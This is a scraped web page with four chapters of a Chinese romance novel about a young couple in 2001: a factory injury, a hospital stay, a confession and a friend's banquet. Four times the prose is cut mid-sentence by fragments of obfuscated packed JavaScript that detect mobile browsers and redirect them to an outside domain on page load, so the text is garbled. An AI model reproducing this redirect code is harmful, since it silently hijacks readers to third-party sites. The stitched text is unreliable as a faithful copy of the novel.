d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535035|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娇弱无助的女孩正在带给自己独属于她的力量。 想到这易阁欣慰地勾了勾唇角,嘴边的话还没有说出口,大脑神经率先感知到了巨大的痛楚—— “啊——” 他猛地仰起脖颈,青筋爆起。 医生反应迅速,停下仪器继续有条不紊地做后续工作。 昌灵神色慌张地抓住易阁的手臂,“医生,他很痛,他没事了是吗?” 医生笑了下,说:“知觉恢复了,小伙子幸运的。” 顾不得易阁痛苦到扭曲的面孔,昌灵大喜过望、如释重负地搂住了他的肩膀,喃喃道:“太好了,易阁,太好了。” ** 后续伤口包扎好之后需要继续住院观察,陈师傅说厂子里已经报了工伤,让他们安心住,不用担心费用的问题。 昌灵想着今天过小年,大家的亲属都还在家里等着,便替易阁做主把人都‘赶’了回去。 “他这里有我照顾,你们就放心吧。” “弟妹你一个人行吗,我们还是留下来帮帮你吧。” “真不用,都快回去吧。”昌灵说,“我没问题的。” 易阁擦干净自己一脑门的冷汗,人也清爽不少:“快回去吧都,大过年的你们跟我过算是怎么回事。” “嘿你这人。”同事打趣道,“这是嫌我们碍眼了是吧。” “知道还不走。” 昌灵闻言不动声色挑了下眉。 “好好好,我们走,明天再来看你啊。”同事跟她打招呼,“走了啊弟妹。” 昌灵笑笑,很有礼貌地将人送了出去,还顺便打了饭回来。 易阁失血过多人又饿,猛扒了几口饭才感觉真正活了过来。 昌灵看他的样子觉得好笑,忍不住问:“有这么好吃吗?” “一般吧。”易阁说。 “我今天下班还去超市买了好多吃的,本来想着回家做点好的好好过小年,这下好了,差点让你吓死。” 易阁放下饭盒,轻声说:“对不起啊。” “……这有什么好对不起的,我又不是怪你。” “我保证,以后再也不吓你了,行吗?” 昌灵很是无语:“这你怎么保证,别瞎说了。” 易阁思索片刻,让她把自己的棉袄外套拿过来。昌灵虽然疑惑但也照做,问他要这个做什么,冷吗? 易阁从棉袄的内侧口袋里摸出一个暗红色的小绒布袋子递给她,“送你的,就当今天吓到你的补偿。” 昌灵愣愣地接过来,有些重量。她问:“这是什么?” “你打开看看。” 袋子系了两道,不费吹灰之力就能解开。昌灵将东西倒扣出来,病房的灯光没有那么亮,一只温润环青的玉镯静静躺在她的手上。 易阁解释说:“这是我让跑南方的货车师傅带的,说是玉能养人,女孩儿带合适。 “你适合的圈口我量过,戴上应该正好,但可能不太好往下摘。” 见昌灵不说话,他又问:“你戴吗?不喜欢?” 昌灵想,怎么可能不喜欢呢。 这一晚上,易阁出事,她耗费心神,但易阁是实打实的身心俱疲。纵然他不说,十指连心,昌灵也可以想象他现在到底有多痛。 可他却反过来安慰自己,像变戏法那样变出来一个玉镯子送给她,甚至是在她不知道的时日里就一早做足了准备。 昌灵觉得,她可能一生都不会再遇到这样一个人,真诚、善良,又很会爱人。 即使他从没说过‘爱’。 昌灵强迫自己冷静了一晚上的情绪终于崩了盘,她转身毫不犹豫扑进易阁怀里,像盘旋不落的候鸟终于回到了温暖的海湾。 易阁安抚般拍拍她的后背随后将手臂揽在她的后腰上,将昌灵所有的情绪照单全收:惊慌、害怕、恐惧,还有欣喜与庆幸。 不知道过了多久,他察觉到自己半个肩膀都湿透了,心里有些无奈,又觉得温暖。 易阁笑着抬手摸摸她的头,放轻了声音耐心哄劝说:“好啦,你怎么这么能哭。” 昌灵不想抬头,胡乱将眼泪擦在了他的病号服上。 易阁的脚很痛,但他依旧笑得开怀:“你故意的是不是,我这衣服这么薄,你想用眼泪害我感冒。” “……” 昌灵没话讲,偏头轻轻吻了一下他的脖颈。 41. 2001 易阁需要住一段时间医院,昌灵请了半天假回家给他收拾换洗的衣物。袜子暂时是用不上了,但内裤……她闭着眼睛随手摸了两条。 凑合穿吧。 所幸易阁伤到的只有一只脚,不需要全天二十四小时陪护。打饭、去洗手间这些日常的小事,他自己拄着拐杖就能去,就是右脚不能沾地,昌灵也不知道他是怎么蹲下去的。 反正他说他可以。 临近新年,各个行业都忙碌起来,这时候昌灵频繁的请假不太好,和最后的奖金直接挂钩的。 虽然住院的费用由三九八负责,但该赚的钱还是不能少,尤其是现在家里还有一个伤员的情况下。 想到易阁,昌灵忍不住摸了摸手腕上的玉镯子。圈口卡得正合适,她在手上涂满了香皂才能戴进去。 戴好之后她还饶有兴致地问易阁觉得怎么样,易阁除了好看什么都不会说,只一个劲儿地笑,就好像他捡到了头等奖的彩票。 笑得昌灵心软。 在一起住了这么久,要说她完全不喜欢易阁,那是不可能的。 顶着一张帅气周正的脸,会做饭,会暖床,会分担家务,会努力工作,还会记得你的生日提前准备好蛋糕和礼物。除了平时话少一些,昌灵甚至数不出来其它缺点。 更何况话少也不能称之为缺点。 至于他喜欢自己这件事,昌灵也不是没有想过。他们一起从西乡逃出来,就像还珠格格里的含香和蒙丹,虽然不比电视剧里演得那么凄美又浪漫,但终归比别人多了几分‘生死相随’的情谊。 可易阁没有主动提过这些事,昌灵就只好也装作若无其事。 直到小年夜晚上她情不自禁的那一吻过后,感受着易阁环抱在她身后的双手逐渐收紧,两具温热的身体亲密无间地贴合在一起,昌灵并不意外地听见了易阁心里疯狂叫嚣着的浓烈爱意。 不是耳朵听,是心。 她原本也不指望易阁能说些什么漂亮话,只当有些话彼此心照不宣。可没想到易阁能在她准备起身扯点儿别的话题时将人一把拉回怀里,声音温柔又纯净,还夹杂着些许紧张和期待,问: 昌灵,你愿不愿意和我在一起? 他总是连名带姓的叫她,听起来却比外面那些小灵、灵灵更真诚。 更动听。 昌灵挣扎着从易阁怀里爬起来,试图寻找他的眼睛。可易阁倒像是不好意思一般,眼珠四处乱瞟,就是不敢看她。使得昌灵不得不伸手摆正了他的脸,而后似笑非笑地问,说这些话你很难为情呀? 易阁耳根都红透了,攥住她的手腕破罐子破摔道:你到底愿不愿意。 愿意吗? 昌灵笑得灿烂无比。 在一起度过的第二个深冬里,她情理之中地回答当然愿意。 ** 办公室两个主任和车间几个同事代表带了一堆补品、营养品来看易阁。 其中自然也包括老陈师傅。 昌灵也没做过多推辞,接过东西按盒子高低排序放好,连句谢谢也没说。 主任见状打了个哈哈,问易阁:“现在感觉怎么样,好些了吗?” “嗯。”易阁礼貌地笑了下,“应该没什么大问题。” “你放心,所有住院的费用咱们厂里全包了,你就在这安心的治疗,直到完全康复为止。” 易阁点点头,没说什么。 领导冠冕堂皇的话说了一箩筐,主旨就是单位多么多么好,年轻人要懂得感恩才行,话里话外都透着一股‘我们已经够可以了,你们别没事找事’的意味。 昌灵听了只想翻白眼,半晌她忍无可忍道: “这位主任,我听他们说易阁是工伤,那你说的这些不都是员工的基本保障吗?” 眼神懵懂,语气真诚,仿佛真的在疑惑。 如果不是易阁知道昌灵惯会这一套,恐怕还真听不出来她是在阴阳怪气。 主任被她问的有些尴尬,说:“那是,是的,我们员工的基本保障还是很好的。” 昌灵重重地叹了口气,“主任,你说这么大的单位怎么会发生这种事呢?机床那么沉,又不是一个人就能推动的,它怎么就能自己倒了呢?” 主任:“……” 老陈师傅闻言在一旁偷笑,片刻后义正严辞道:“家属放心,车间肯定会严查事故发生原因的,该追责追责,该赔偿赔偿。 “是吧主任?” 几双眼睛一同落在先前说话的主任身上。 “啊……是。”另一位主任见他骑虎难下,接过了陈师傅的话,“真要是查清是有人失职,那单位肯定是要处理的,这方面你们不用担心。” 昌灵很满意:“可是快过年了,这么点小事怎么也不会拖到年后吧?” “当然,当然。” 昌灵心道,谁也别把谁当傻子就好。 恭恭敬敬送走了两位领导,老陈师傅和几位相熟的同事在易阁周围坐下,冲昌灵比了个大拇指,“小姑娘,说话有点水平。” 昌灵摆摆手,“我是没想到你们这样的单位还有这么多奇怪的门道。” 易阁闻言拉着她在自己身边坐下,眼前都是关系不错的人,也没什么好顾忌的,直说道:“负责安置机床的员工,是上面什么领导的亲戚。” “猜出来了。”昌灵说,“不然你们那些主任不可能对这件事闭口不谈,搞得好像是你自己不小心砸伤似的。” 这种事故可大可小,要是放在普通员工身上,不说单位公开问责,起码也得大包小包的登门道歉。毕竟如果能提前求得当事人的原谅,单位的处罚也不会太重。 哪用得着领导亲自过来‘提点’当事人要感恩呢。 “你们单位关系户可真不少。”昌灵感叹道。 “弟妹,你是不知道,现在上面那些领导,哪个在厂里不是拖家带口的,还一个个牛得不行。”同事指指身边几个人,“像我们这种兢兢业业干活儿的,反倒是少数咯。” “谁让你们厂里福利待遇好呢,要不是不收女职工,我还想去呢。” 普通人得到的好处多,上面的人只会得到的更多,当然挤破头也想进。 说起来也是人之常情。 几个人胡乱扯了几句,有人问昌灵:“哎?弟妹是在哪里上班的?” 昌灵说“百乐”。 众人闻言皆是一愣,片刻后不太确定地问她:“是湖舟路那个百乐?” “嗯,台球厅。” “台球厅啊……”语气有些微妙的变化。 ——昌灵察觉到了。 至于变化的原因…… 她眯了下眼睛,故作疑惑道:“怎么了吗?” “没有没有,就是有点没想到。” 易阁立刻明白他们在想什么,皱着眉头冷声说:“你们胡思乱想什么呢。” “哦!”此时有个同事猛地拍了下大腿,“我记起你来了!” 昌灵转头看向他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535036|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你是百乐那个招牌美女前台,对吧!我说怎么看你有点眼熟呢。” “哈?”昌灵歪了下头,没听过这种说法。 “没错没错,就是你,小灵姐?” 易阁不满地啧了声:“小灵姐是你叫的吗。” “我听她店里的小姑娘都这么叫嘛。” “啊,原来是前台啊。”另外几个同事如释重负道。 昌灵客气地笑笑。她本人对称呼倒是无所谓,但对于他们前后态度的转变,心里觉得好笑。都是工作,还能分出个高低贵贱不成? “你们聊吧,我出去打个水。”昌灵拎着水壶往外走,关门前对上了老陈师傅若有所思的眼神,她没放在心上。 ** 腊月二十九,易阁说什么都要出院,绝对不在医院里过年。医生检查过后也说没什么问题,只需要按时回来换药就行,昌灵才勉为其难给他办了出院手续。 手续办完易阁已经收拾好了东西,见人回来:“走吧走吧,住这几天跟坐牢似的。” “少说瞎话。”昌灵瞪了他一眼。 易阁一手拎着东西单脚蹦到她面前,空闲的胳膊自然而然搭在昌灵的肩膀上,商量道:“拐杖也还给医院吧,不太需要了。” 昌灵低头打量了一下他的脚,迟疑地问能行吗。 “能,上楼用拐杖更不方便,你给我靠靠就行。” “我?你确定?” “确定,别浪费那个钱了。” 拐杖还完退回来一点押金,昌灵塞进口袋装好,而后继续充当人形拐杖把他架到出租车后座坐好。避免碰到易阁的脚,昌灵自觉坐在副驾驶上。 易阁降下来一点车窗,呼吸了一口久违的新鲜空气,心情大好。 司机从后视镜里看他,闲聊问:“这是赶着过年前出院啊?” 易阁嗯了声,“过年当然还是回家好。” “那肯定啊。”司机问,“你们是本地人吗,现在还来得及买回家的票吗?” “今年先不回家了。”易阁回答道。 “就你们两个人过年?有孩子了吗?” “……没有。” “这是怎么伤的啊?” …… 有一搭没一搭的聊天声里,昌灵翻完了所有的住院单据,加起来一共七千多块钱。她叹了口气,如果易阁不是工伤,他们恐怕连住院费都交不起。 也不知道一年到头辛苦工作有什么意义。 除此之外,三九八还额外给了两千块钱,算是对职工的一点补偿。只不过从头到尾涉事员工都没露过面,最终的处罚也只是调岗。 易阁没想继续追究,毕竟之后还要在厂里干下去。昌灵也不好说什么,虽然很多时候她都跟易阁意见相左,但在这件事上,还是易阁自己比较有发言权。 昌灵选择尊重他。 到了小区门口,司机帮忙把人扶下车,走之前还很热情地跟他们说“新年快乐”。 易阁:“谢谢哥。” 等车开远,昌灵有些意外地问:“你今天好像话还挺多?” “是吗。”易阁低头看着她,“毕竟现在情况不一样了。” “什么不一样?” “以前在这儿你只是我名义上的女朋友。”易阁不禁感叹道,“现在终于变成真的了。” 昌灵:“……” 此时此刻,她突然很想知道,这个人到底是什么时候开始喜欢自己的?难道很早就? 42. 2001 从小区门口到单元楼下这段距离,昌灵第一次不觉得冷寂。 易阁腿脚不利索,走得很慢,鞋底偶然摩擦在水泥地上,碎石粗粝,沙沙作响。楼前的柳树早已枯叶落尽,草坪也处处透着泥土的颜色,春天的翠绿已然过去很久了。 她仔细配合着易阁的脚步,手臂揽在他的腰侧,想尽力分担更多的重量。易阁不肯,说:“你给我搭一下就行,我自己能走。” 昌灵松手试了一下:“那我放手?” “你放手我也能走。” 真能犟。 昌灵懒得跟伤员计较,看着他悬空静止的右脚忽而有些想笑。 她到现在还能记起来小年那天晚上的风是什么形状,像匕首,像短刀,带着一如从前的力量缓慢而残忍地割在她的脸上。 但十七岁之前的昌灵是喊不出来‘痛’的。 现在的她长大了一岁,却惊觉自己似乎变得比从前善于表达一些,也更容易害怕。 回想起这一点的昌灵毫不犹豫地问出了她非常想知道,但在医院又没敢问出口的问题。 “你那时候为什么同意我说的赌一把?” 易阁闻言垂下头直勾勾地看着她。 “你不害怕吗?万一失败了怎么办?” 怎么办? 易阁向前走了两步却没有回答,只是反问她:“所以你在害怕?” “有一点。”昌灵很坦诚地回答。 “嗯。”易阁笑着摸了两下她的头发,片刻后叹气说:“我只是害怕你会害怕。” “……”昌灵无措地眨了两下眼。 这个人,说的这是什么话。 ** 把易阁送回家后昌灵多装了点儿零钱出门买东西。走之前还不忘把水杯和收音机摆到他眼前,让他一个人在家不至于太无聊。 易阁脱掉外套给自己调了个音乐频道,欢脱悠扬的声乐当即遍布整个房间,他静静坐在沙发上等着热水器加热好。在医院这么多天,他感觉自己满头满身都是消毒水的味道。 幸亏他长得高,要不然昌灵稍微一抬头,映入眼帘的就是他脏兮兮的头发,恐怕刚拥有的女朋友没两天就会被吓跑。 右脚的大拇指上还缠着厚厚的绷带,易阁试探着弯了一下,非常痛。 如果昌灵在这,见此情景一定会不高兴地告诫他:心急吃不了热豆腐。 易阁蓦地笑了下,想起昌灵刚才问他到底害不害怕——答案其实是不怕的,真的不怕。 从小到大他都属于情绪波动很小的那一类人。就算是母亲发病第一次拿枝条打人,易阁也只是觉得疼痛和不理解,并没有其他想法。随着年龄的增长,外部环境对他情绪的影响就更小。 被机床砸伤,被医生通知拇指大概率不保时他都没有什么特殊的反应,总之都已经这样了,悲天悯人或者痛哭流涕都没有意义。 易阁一度认为自己就是这样冷情冷漠的人。 直到昌灵出现在病房门口,出乎意料的没有哭,脸却苍白的不像话,手攥得紧紧的,说话声音都在颤抖。 意识到她在害怕的这一刻,易阁才猛然察觉到原来自己的情绪很早之前就一并系在了昌灵的情绪上,会害怕她的伤心,害怕她的眼泪。 昌灵远比他以为的更加重要。 易阁也不知道这是好是坏。 他没有经验,只能走一步看一步。 ** 昌灵从路边摊打包了两碗馄饨回来,一碗清汤寡水,一碗加了双倍的虾米和香菜。 闻起来非常鲜。 收音机被易阁摆在茶几上,电台正在播放陈奕迅的《K歌之王》。 昌灵进门没见到人,寻着水声敲了敲卫生间的门,“易阁?你是在洗澡吗?” “对,马上好。” 伤口还没好就洗澡。 “你行吗?”昌灵微微皱了下眉,叮嘱道:“小心点,伤口别碰到水。” “好,我知道。” 纵使不高兴,昌灵也不能直接推门进去。她抿了抿嘴,决定等易阁出来再跟他算账。 趁这段时间,昌灵把馄饨倒在碗里端进卧室放好,还给自己倒了杯饮料。又把额外买来的冷冻馄饨塞进冰箱里,门关时还不忘用力压一压冰箱门,上面的密封条有些坏掉了。 “昌灵。”易阁洗完澡喊了她一声。 “怎么了?”她放下手里的东西连忙跑过去。 只见易阁扶着卫生间的门框,半抬起右脚,脚上还包了两个塑料袋,水珠顺着袋子表面不停地往下滴。 “你看。”易阁往上抬了抬脚给她展示,“怎么样?” 昌灵眯了下眼睛:“你这是……防水啊?” “对啊。” 她盯着塑料袋看了一会儿觉得好笑,问道:“所以你这是特意不拆下来,就等着给我看的?” 被说中的易阁不好意思地摸了摸后脑勺:“我这不是怕你说我吗。” “知道我会说你你还洗?” “那我这么脏怎么上床。” 昌灵蓦地抬眼看向他。 易阁被她看的一愣,当即反应过来自己的话里有歧义,连连摆手否认道:“不是,我不是那个意思,你别多想。 “我就是想说,床干净,我,我……” “行啦。”昌灵打断他磕磕巴巴的解释,转移话题道,“塑料袋又不透气,赶紧拆了吧。” “好。” 易阁蹦了两步把脚放在马扎上,他系得紧,脚腕处被勒了深深一道。 昌灵视线落在他脚腕的红痕上,半晌幽幽开口:“可你只洗了身体,没洗脚啊。” 易阁将解开的袋子团好扔进垃圾桶里,随后说:“这个你放心,套袋子之前就已经擦过了,我现在哪哪儿都是干净的。” 说者无意听者有心,昌灵闻言不动声色地向下瞄了一眼,哪哪儿是哪啊? 易阁半天没听到声音:“怎么不说话了?” “……没有。”昌灵挽住他的胳膊把人往房间里带,“我把吃的都端进卧室了,沙发坐着不方便,直接在床上吃吧。” “等等,我在外面擦完头发再进去,别把水滴在床单上。” 昌灵这才注意到易阁的发梢还在源源不断地滴小水珠,应该是在卫生间里站着不方便擦干。 她想也没想:“那我帮你擦好不好?” “啊?”易阁愣了愣,“不用吧?” “我想嘛。” 昌灵说着双手按住易阁的肩膀让人坐下,先前滴落在他身上的水,湿哒哒一片,悉数转移到了她的手心里。昌灵垂眼看过去,易阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535037|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑色背心的衣带已然洇湿了一块儿。 易阁抬手把毛巾递给她。 昌灵擦得很认真,手法轻柔到易阁闭上眼就要睡过去。他说没关系,可以再重一些,昌灵却不理会他的建议。 头发七成干后,灵师傅又仔细开始擦他脖颈上残留的水迹。易阁觉得痒,闪躲着抓住了‘罪魁祸首’。 “好了好了,脖子我自己擦就行。” 昌灵沉默着把毛巾塞进他手里,没等易阁做什么动作,她忽然从身后抱住易阁的腰趴在他的肩颈上。 易阁偏头看向她,轻声问:“又怎么了这是?” “易阁。” “嗯?” “以后都不要受伤了好不好?” 如此孩子气的话倒另易阁心生暖意,他反手摸摸昌灵的脸,安慰道:“我以后一定会注意。” 昌灵说:“其实我刚才是骗你的。” 易阁知道她要说的是“有一点害怕”那回事,问道:“现在想说实话了?” 昌灵点点头,下巴抵着他的后背,声音很轻: “其实我很胆小的。以前在家里,弟弟出生的时候我就很害怕,怕爸妈再也不会喜欢我了。后来三姐过世的时候我也害怕,怕我会变成下一个她。觉得我很自私是不是?可我害怕的事都成真了。” “人就是越怕什么就越来什么。家里让我嫁人,去你家的卫生所买药,还有看见你们打架的时候,我全都很害怕。” “你记得我去威胁你给我买票时说的那些话吗?” 听到这易阁难得露出点笑意,说记得,“平生第一次被一个女孩儿威胁,这恐怕很难不记得吧。” 昌灵也跟着笑:“那些话我对着镜子说了几百遍才敢去找你,其实那时候,我最害怕。” 害怕你拒绝我,我便再也没有机会离开西乡那片充斥着不平与阴暗的土地。 “后来我以为离开西乡就都会变好,但其实很多时候,我还是会怕,不过还好大多数时候都有你。”昌灵说,“可我从没想过连你也会出事。” 易阁闭上眼睛深吸一口气,拉起昌灵的手臂将人扯到自己面前,抱在没有受伤的左腿上。 昌灵的手指顺势绞住他的衣带,没有说话。 易阁低头用他潮湿的发丝蹭了蹭昌灵的锁骨。 “痒。”昌灵无奈地笑着往后仰。 “昌灵,我答应你。”易阁不曾抬头,语气却难掩坚定,“我会照顾好自己,也会保护好你。” “虽然我现在还没多少钱,也没有自己的房子,但我会努力工作,一定让你过上好日子。” 昌灵敏锐的察觉到有一滴液体坠在了她的大腿上,可她明明已经擦干了易阁的头发。 “我保证,不会让你等太久,我保证。” 这番话远没有电视剧的台词那么动听,昌灵想,但仿佛从易阁的口中说出来就变得十分可信。 “真的吗?”她捧起易阁的下巴直至对上自己的眼睛,近在咫尺的距离,易阁发红的眼眶无处遁形。 “真的。”易阁回答道。 有一件事昌灵很想做,于是她便做了。在易阁震惊到呆滞的神情里,她俯身轻轻贴上易阁的唇角,一触即分。 春天已经过去很久了。 久到下一个春天即将来临。 43. 2001 正月的夜班没什么客人,十二点下班前昌灵看完了今年春节晚会的完整回放,演得真好。 拉下卷帘门后她搓了搓手,想着易阁的生日马上到了,可周围的蛋糕店无一不贴着‘正月十六开业’的字条,想买东西都买不到。 公交车停运,行人也稀少。昌灵看着空荡荡的街道心道一声不好,夜班补贴是有了,可是她该怎么回家呢? 总不能靠两条腿吧。 昌灵忍不住叹了口气。正当她准备沿路碰碰运气看能不能打到车时,路边停靠的汽车突然亮起了大灯,晃得昌灵不得不闭上眼睛。 有没有素质啊。 她略微有些烦躁地背过身,却听见不远处传来汽车鸣笛的声音。 ? 昌灵狐疑地回头看,只见一个陌生男人从驾驶座走下来,还顺手把已经捏扁的烟盒塞进了自己的口袋里。 像是冲她来的。 虽然这条街没听说什么拐卖妇女儿童的事件,但昌灵的脑海里还是第一时间浮现出前段时间的新闻播报——新年期间为各类违法犯罪事件的高发阶段,请广大市民注意人身和财产安全。 她粗略估算了一下两个人之间的距离,如果对方再往前走三步,她掉头就跑应该来得及。 但对方没给她这个机会。 那人老老实实站在三米开外对她笑了笑:“请问,你是昌灵吧?” 昌灵仍然保持警惕:“你是谁?” “我是易阁以前的同事,也在三九八厂的。”确认她的身份后对方显然松了一口气,“我刚才在车里睡着了,还以为错过你下班了呢。” “这话是什么意思?” “……易阁没告诉你吗?”他指指不远处的出租车,“我现在自己干,易阁跟我说他对象上夜班,付了这几天的车钱,让我过来接你。” 昌灵:“他没跟我提过。” “这个易阁……”对方说着把手伸进衣服口袋里找什么。 昌灵的目光跟随着他的手移动,片刻后一个黑色的小长方体出现在他手里,原来是手机。 “我手机在这,要不你给他打个电话吧。”他把手机伸向昌灵。 昌灵没接,说:“你打。” “行,我打。” 电话接通后,他按下了免提。 “喂易阁,我来接你对象她不知道吗?” 易阁的声音不甚清晰:“啊,我没跟她说。” “这你不说,人家差点把我当坏人了。” …… 昌灵骤然紧绷的神经这才得以放松,心里有些无奈,又有些恼火。易阁明明是好意,反而害她受到了不小惊吓,这让她找谁说理去。 回到家,易阁已经给她热好了牛奶,人正趴在床上翻广告彩页看。 昌灵走近踢了踢他没受伤的那条腿:“这事你为什么不提前告诉我?” 易阁条件反射地收起自己的腿,说:“就是接你下班的事,反正你也要打车,我以为不用说呢。” “你不说我怎么知道是你找的车?天知道外面一个人都没有后面还有人追着你闪车灯有多吓人!” “哈?”易阁这才扭头看向她,“吓到你了?” “……”昌灵翻了个白眼,不想搭理他。 “真吓到了?”易阁翻身起来拉住她的胳膊在自己身边坐下,道歉说:“对不起啊,我没想那么多,不是有意的。” 就是因为知道他是好意所以昌灵没法说什么,片刻后她捶了下易阁的胸口,手不重,但神情严肃:“以后不管有什么事都必须告诉我。” “放心,没有下次了。”易阁抬手覆在她的手上,说:“否则你就永远都别原谅我。” 昌灵挣了一下手,没挣脱。 “哎哎哎。”易阁笑着把刚才看的彩页拿到她面前,指着上面的电视广告说,“要不我们买个电视吧,你不是想看春节晚会吗。” 昌灵皱了下眉:“哪来的钱?” “单位给的那两千,我们再贴点。” 昌灵无语:“那两千是补给你的营养费啊大哥。” “我现在又没事了。”易阁不以为然,“再说了,电视可以丰富精神世界,一样补。” “……”昌灵被他的歪理逗笑了,想了想说:“要不等你好了,咱们出去玩吧?就当给你过生日。” 易阁:“想去哪?” “再往南走走?”地点昌灵暂时还没想好,哪里都好吧,“自从来了雁山都还没去过别的地方呢。” “也行,那春晚不看了?” 昌灵眼珠滴溜溜转了两圈:“春晚嘛,反正都演过去了,下次再看呗。” 易阁闻言眯着眼睛凑到她眼前,半晌十分肯定地说:“你在店里看完了是吧。” 昌灵装傻:“什么啊?” 易阁冷哼一声猛地掐住她的腰把人按在床上挠痒痒。 “别别别。”昌灵躲闪不及,被他折腾地直发笑,“别,我错了哥,下次跟你一起看行吗……” ** 易阁伤好之后单位给调换了工作岗位,不需要搬运装卸,只在车间里做切割和焊接。 好处是比先前的体力活儿轻松不少,坏处是,工作服上经常多出来些零零散散的小洞——被电焊的火星烧破的。看得昌灵担心不已。 翻完口袋她拎起工作服的一角,问易阁:“烧电焊能烫碎衣服,那烫到脸怎么办?” 易阁:“烫不到。” “为什么?” “有防护的。” “手呢?” “都烫不到。” 昌灵半信半疑,最后嫌弃地把衣服丢进洗衣机里:“你自己多洗两遍吧,估计上面的机油不好洗。” 易阁点点头,“不用洗衣机,我随便搓两下就行。” 洗衣机买了不就是为了不用手搓吗,昌灵不理解,但说随便。易阁爱手搓她总不能拦着人家吧。 “对了。”昌灵想起下午的电话,“今天家旺哥打电话说他学成归家,要请朋友们吃饭。” “这才过了多久就学成了?” “嗯,他是这么说的。” “那吃呗,还要去车站接他吗?” “不要了。”昌灵回答得很干脆。 这倒是稀奇,易阁好奇地问:“为什么不去?你不是起个大早也得送他吗,回来不接了?” 昌灵想起这件事就来气,片刻后愤恨道:“我之前是为了看他女朋友好嘛。结果他说他带了新女朋友回来!之前给他花钱那个被他甩了!” 易阁:“……” “男人果真没一个好东西!” “……” 易阁尴尬地扯了下嘴角,跟着陈家旺沾光,他也莫名其妙被骂了。 无妄之灾啊。 ** 陈家旺订了酒楼最大的包间,召集了一批狐朋狗友前来相会,甚至还包括昌灵台球厅的林老板。 各种推杯换盏看得昌灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535038|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目瞪口呆,幸亏易阁加班还没过来,不然非喝晕了不可。 她尝试着抿了一口啤酒,苦的,真不知道有什么好喝的。 “哎,家旺妹妹。”众人谈笑间又有人坐在她旁边,说的话和之前几个人如出一辙:“咱俩第一次见面,我提一杯?” 什么家旺妹妹。 昌灵假笑道:“你叫我昌灵就行,不好意思,我喝不了酒。” “那没事,哥哥喝酒,你喝水,好吧?” 昌灵举起茶水杯跟他碰了下。 “能不能留个电话?” “没有电话。”昌灵第不知道多少次回答。 “真没有啊?” 昌灵摊摊手,“真没有。” “那也没事,我有。”对方不知道从哪摸出纸笔一阵写写画画,随后塞进她手里,“这是我的电话,出来玩记得联系我啊。” 昌灵敷衍地说好呀,转头再把电话团成球扔进垃圾桶里。 陈家旺领着女朋友巡喝一圈,女朋友说要去洗手间,陈家旺这才找到机会回到她身边。他毫不客气地把手肘搭在昌灵肩膀上,“怎么样灵灵,有意思没有?” 昌灵凑近他的耳朵低声问:“今晚上谁付钱啊?你新女朋友?” 陈家旺啧了声:“这么快乐的时光你提什么钱啊,我妹夫呢,怎么还不来。” 昌灵:“他伤刚好,你别带他喝酒。” “行听你的,我替他喝行吧。” “不行。”昌灵说,“你也少喝点吧。” 陈家旺朝后甩了甩头发,笑着问她:“你现在连哥哥也要管?” 还没等她再说点什么,包间的门再度打开,易阁冷着一张脸面无表情走进来,正四处张望着找人。 陈家旺也看见了,将头偏向昌灵:“你别说,这小子还真有点姿色,怪不得你喜欢。” 昌灵:“……” “易阁,这!”陈家旺高高举起手臂大声喊道。 易阁循声看过来,而后绕过人群大步向着他们二人所在的位置走。陈家旺是个坏心眼又不老实的,许久没见易阁,人就有点想犯贱。 他手脚并用站到椅子上,声音比喇叭还响:“来,听我说——都听我说——” 四面八方的人都静止下来看着他。 “再给大家隆重介绍一下,这位是我表妹,昌灵!” “芜湖——” 起哄声中他摸了摸昌灵的头发,被昌灵无情地拍开。 这人喝大了吧。 而后他又指着人群里的易阁,高声说:“那边那位,就是我的新妹夫——” “芜……”起哄的声音戛然而止,先前几个问昌灵要电话的人嗖地转头看向易阁。 易阁不明所以,不自觉地皱了下眉头:“没事吧你。” 陈家旺嘿嘿笑着:“我没事啊。” “你是昌灵的对象?”有人出声问道。 易阁啊了一声,他不认识对方,但看样子是认识昌灵的。 “妹夫来晚了啊,这不得自罚三杯?” 昌灵闻言捣了一下陈家旺,意思是该你去挡酒了。陈家旺心领神会,立马开口说:“我妹夫喝不了,朝我招呼吧?” 谁成想那人不依不饶:“男人还有喝不了酒的?” “……” 